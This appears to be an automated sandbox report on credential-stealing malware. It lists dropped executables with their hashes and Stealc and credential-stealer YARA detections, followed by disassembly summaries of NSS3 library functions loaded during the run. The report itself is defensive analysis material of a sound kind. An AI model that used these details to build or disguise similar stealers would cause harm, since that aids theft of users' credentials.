Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4508 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	09:22:04
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe"
Imagebase:	0xd70000
File size:	2'125'312 bytes
MD5 hash:	3BBAAF5B9F7EA350480F38F3477B2BDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2363926380.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.2321135289.00000000054A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2361785150.0000000000D71000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:22:07
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe"
Imagebase:	0x4b0000
File size:	3'204'096 bytes
MD5 hash:	7AC86C152BAC1FB0212A7FF9087A26E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2392695677.0000000000C80000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2425342307.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2462553945.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2408762708.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2449183507.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2392137545.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2425037372.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:22:08
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'283'968 bytes
MD5 hash:	3F37F3ED555BA8CB563F1C44D48F7DC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	09:22:15
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe"
Imagebase:	0xd70000
File size:	2'125'312 bytes
MD5 hash:	3BBAAF5B9F7EA350480F38F3477B2BDD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.2493407371.00000000019EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000003.2438045776.00000000057A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.2479376498.0000000000D71000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:22:18
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe"
Imagebase:	0xaf0000
File size:	2'782'720 bytes
MD5 hash:	A39F00A4959D374AD94FB439227CF00A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:22:24
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe"
Imagebase:	0x4b0000
File size:	3'204'096 bytes
MD5 hash:	7AC86C152BAC1FB0212A7FF9087A26E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2621389567.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2616409170.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2616967541.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2583133950.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2598784933.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2565575250.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2563131197.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2615948450.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2566948743.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2581708360.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2596844258.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000024.00000003.2621554466.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	09:22:32
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe"
Imagebase:	0xd70000
File size:	2'125'312 bytes
MD5 hash:	3BBAAF5B9F7EA350480F38F3477B2BDD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2650777132.0000000000D71000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000003.2608697053.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2653003050.00000000015CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:22:40
Start date:	08/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe"
Imagebase:	0xaf0000
File size:	2'782'720 bytes
MD5 hash:	A39F00A4959D374AD94FB439227CF00A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6CC16E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD62120,6CC17E60), ref: 6CC16EBC
TlsGetValue.KERNEL32 ref: 6CC16EDF
EnterCriticalSection.KERNEL32(?), ref: 6CC16EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CC16F25

Part of subcall function 6CBEA900: TlsGetValue.KERNEL32(00000000,?,6CD614E4,?,6CB84DD9), ref: 6CBEA90F
Part of subcall function 6CBEA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CBEA94F

PR_Unlock.NSS3 ref: 6CC16F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CC16FA9
TlsGetValue.KERNEL32 ref: 6CC170B4
EnterCriticalSection.KERNEL32(?), ref: 6CC170C8
PR_CallOnce.NSS3(6CD624C0,6CC57590), ref: 6CC17104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC17117
SECOID_Init.NSS3 ref: 6CC17128
PORT_Alloc_Util.NSS3(00000057), ref: 6CC1714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC1717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC171A9
PR_NotifyAllCondVar.NSS3 ref: 6CC171CF
PR_Unlock.NSS3 ref: 6CC171DD
free.MOZGLUE(?), ref: 6CC171EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC17208
free.MOZGLUE(00000000), ref: 6CC17221
free.MOZGLUE(00000001), ref: 6CC17235
TlsGetValue.KERNEL32 ref: 6CC1724A
EnterCriticalSection.KERNEL32(?), ref: 6CC1725E
PR_NotifyCondVar.NSS3 ref: 6CC17273
PR_Unlock.NSS3 ref: 6CC17281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC17291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC172B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC172D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC172E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC17372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CD50148,,defaultModDB,internalKeySlot), ref: 6CC174CC
free.MOZGLUE(00000000), ref: 6CC17513
free.MOZGLUE(00000000), ref: 6CC1751B
free.MOZGLUE(00000000), ref: 6CC17528
free.MOZGLUE(00000000), ref: 6CC1753C
free.MOZGLUE(00000000), ref: 6CC17550
free.MOZGLUE(00000000), ref: 6CC17561
free.MOZGLUE(00000000), ref: 6CC17572
free.MOZGLUE(00000000), ref: 6CC17583
free.MOZGLUE(00000000), ref: 6CC17594
free.MOZGLUE(00000000), ref: 6CC175A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CC175BD
free.MOZGLUE(00000000), ref: 6CC175C8
free.MOZGLUE(00000000), ref: 6CC175F1
PR_NewLock.NSS3 ref: 6CC17636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC17686
PR_NewLock.NSS3 ref: 6CC176A2

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CC176B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CC17707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CC1771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CC17731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CC1774A
DeleteCriticalSection.KERNEL32(?), ref: 6CC17770
free.MOZGLUE(?), ref: 6CC17779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC1779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC177AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CC177C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC177DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CC17821
PORT_Alloc_Util.NSS3(?), ref: 6CC17837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CC1785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC1786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CC178AC
free.MOZGLUE(00000000), ref: 6CC178BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CC178F3
free.MOZGLUE(00000000), ref: 6CC178FC
free.MOZGLUE(00000000), ref: 6CC1791C

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

Strings

NSS Internal Module, xrefs: 6CC174A2, 6CC174C6
,defaultModDB,internalKeySlot, xrefs: 6CC1748D, 6CC174AA
Spac, xrefs: 6CC17389
extern:, xrefs: 6CC1772B
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CC174C7
kbi., xrefs: 6CC17886
dll, xrefs: 6CC1788E
dbm:, xrefs: 6CC17716
sql:, xrefs: 6CC176FE
rdb:, xrefs: 6CC17744

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: fd7c62659a28b66e55ce39a7cbf5a7dc3fb1b0cc412e11b31d686cc88da9c6de
Instruction ID: 086941fa8fe975cdb1926e9c6c63dbcc608209d204ecaa39c170ae453dc78fba
Opcode Fuzzy Hash: fd7c62659a28b66e55ce39a7cbf5a7dc3fb1b0cc412e11b31d686cc88da9c6de
Instruction Fuzzy Hash: 4C5212B1E082019BFF119F66DC497AA7BB8BF09308F144029ED09A6F51F730D954EBA1

Function 6CC3BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CC3C0C8

Part of subcall function 6CCC9440: LeaveCriticalSection.KERNEL32 ref: 6CCC95CD
Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC9622
Part of subcall function 6CCC9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CCC964E

PR_EnterMonitor.NSS3 ref: 6CC3C0AE

Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC91AA
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9212
Part of subcall function 6CCC9090: _PR_MD_WAIT_CV.NSS3 ref: 6CCC926B

Part of subcall function 6CBF0600: GetLastError.KERNEL32(?,?,?,?,?,6CBF05E2), ref: 6CBF0642
Part of subcall function 6CBF0600: TlsGetValue.KERNEL32(?,?,?,?,?,6CBF05E2), ref: 6CBF065D
Part of subcall function 6CBF0600: GetLastError.KERNEL32 ref: 6CBF0678
Part of subcall function 6CBF0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CBF068A
Part of subcall function 6CBF0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBF0693
Part of subcall function 6CBF0600: PR_SetErrorText.NSS3(00000000,?), ref: 6CBF069D
Part of subcall function 6CBF0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,9D944D0E,?,?,?,?,?,6CBF05E2), ref: 6CBF06CA
Part of subcall function 6CBF0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CBF05E2), ref: 6CBF06E6

PR_EnterMonitor.NSS3 ref: 6CC3C0F2
PR_ExitMonitor.NSS3 ref: 6CC3C10E
PR_ExitMonitor.NSS3 ref: 6CC3C081

Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC945B
Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC9479
Part of subcall function 6CCC9440: EnterCriticalSection.KERNEL32 ref: 6CCC9495
Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC94E4
Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC9532
Part of subcall function 6CCC9440: LeaveCriticalSection.KERNEL32 ref: 6CCC955D

PR_EnterMonitor.NSS3 ref: 6CC3C068

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

Part of subcall function 6CBF0600: GetProcAddress.KERNEL32(?,?), ref: 6CBF0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CC3C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CC3C183
free.MOZGLUE(00000000), ref: 6CC3C18E
PR_LoadLibrary.NSS3(?), ref: 6CC3C1A3
PR_EnterMonitor.NSS3 ref: 6CC3C1D4
PR_ExitMonitor.NSS3 ref: 6CC3C1F3
PR_CallOnce.NSS3(6CD62318,6CC3CA70), ref: 6CC3C210
PR_EnterMonitor.NSS3 ref: 6CC3C22B
PR_ExitMonitor.NSS3 ref: 6CC3C247
PR_EnterMonitor.NSS3 ref: 6CC3C26A
PR_ExitMonitor.NSS3 ref: 6CC3C287
PR_UnloadLibrary.NSS3(?), ref: 6CC3C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CC3C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC3C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CC3C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CC3C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CC3C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CC3C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CC3C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC3C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CC3C8D5
free.MOZGLUE(00000000), ref: 6CC3C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC3C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC3C9E5
free.MOZGLUE(00000000), ref: 6CC3CA5A

Strings

NSS_ReturnModuleSpecData, xrefs: 6CC3C275
nss_mod_log, xrefs: 6CC3C3CC
NSC_GetFunctionList, xrefs: 6CC3C093
Vendor NSS FIPS Interface, xrefs: 6CC3C34A
FC_GetInterface, xrefs: 6CC3C054
NSS_FORCE_TOKEN_LOCK, xrefs: 6CC3C77D
FC_GetFunctionList, xrefs: 6CC3C098
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CC3C38D
NSC_ModuleDBFunc, xrefs: 6CC3C0FC
NSC_GetInterface, xrefs: 6CC3C04F
PKCS 11, xrefs: 6CC3C2F9, 6CC3C314
NSS_DISABLE_UNLOAD, xrefs: 6CC3C7B0

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 2d5f9c83dab1ad1eeb58d4e8b454f3c17f9500346e4121da0a0c2a78ab1559bb
Instruction ID: 239afbf1daad5ae8095a5356ddf83d7de19d26f8147615eebd7c932f5385e0af
Opcode Fuzzy Hash: 2d5f9c83dab1ad1eeb58d4e8b454f3c17f9500346e4121da0a0c2a78ab1559bb
Instruction Fuzzy Hash: 8642A4B1A042258FEF00DF56E88AB6B7BB8FB4634CF041119DA098BB21F735D555CBA1

Function 6CD13FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CD13FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD13FFE
malloc.MOZGLUE(-00000003), ref: 6CD14016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD4FC62), ref: 6CD1404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CD1407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CD140A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CD140D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD14112
malloc.MOZGLUE(00000000), ref: 6CD1411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CD1414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD14160
free.MOZGLUE(?), ref: 6CD1416C
malloc.MOZGLUE(?), ref: 6CD141AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CD141EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CD14520), ref: 6CD14244
GetEnvironmentStrings.KERNEL32 ref: 6CD1424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD14263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD14283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD142B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD142E4
malloc.MOZGLUE(00000002), ref: 6CD142FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CD14342
GetStdHandle.KERNEL32(000000F6), ref: 6CD143AB
GetStdHandle.KERNEL32(000000F5), ref: 6CD143B2
GetStdHandle.KERNEL32(000000F4), ref: 6CD143B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CD14403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD14410

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CD1445E
CloseHandle.KERNEL32(?), ref: 6CD1446B
free.MOZGLUE(?), ref: 6CD14482
free.MOZGLUE(00000000), ref: 6CD14492
free.MOZGLUE(00000000), ref: 6CD144A4
GetLastError.KERNEL32 ref: 6CD144B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CD144BE
free.MOZGLUE(?), ref: 6CD144C7
free.MOZGLUE(00000000), ref: 6CD144D5
free.MOZGLUE(00000000), ref: 6CD144EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CD141E9
=, xrefs: 6CD144F8
D, xrefs: 6CD14396

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

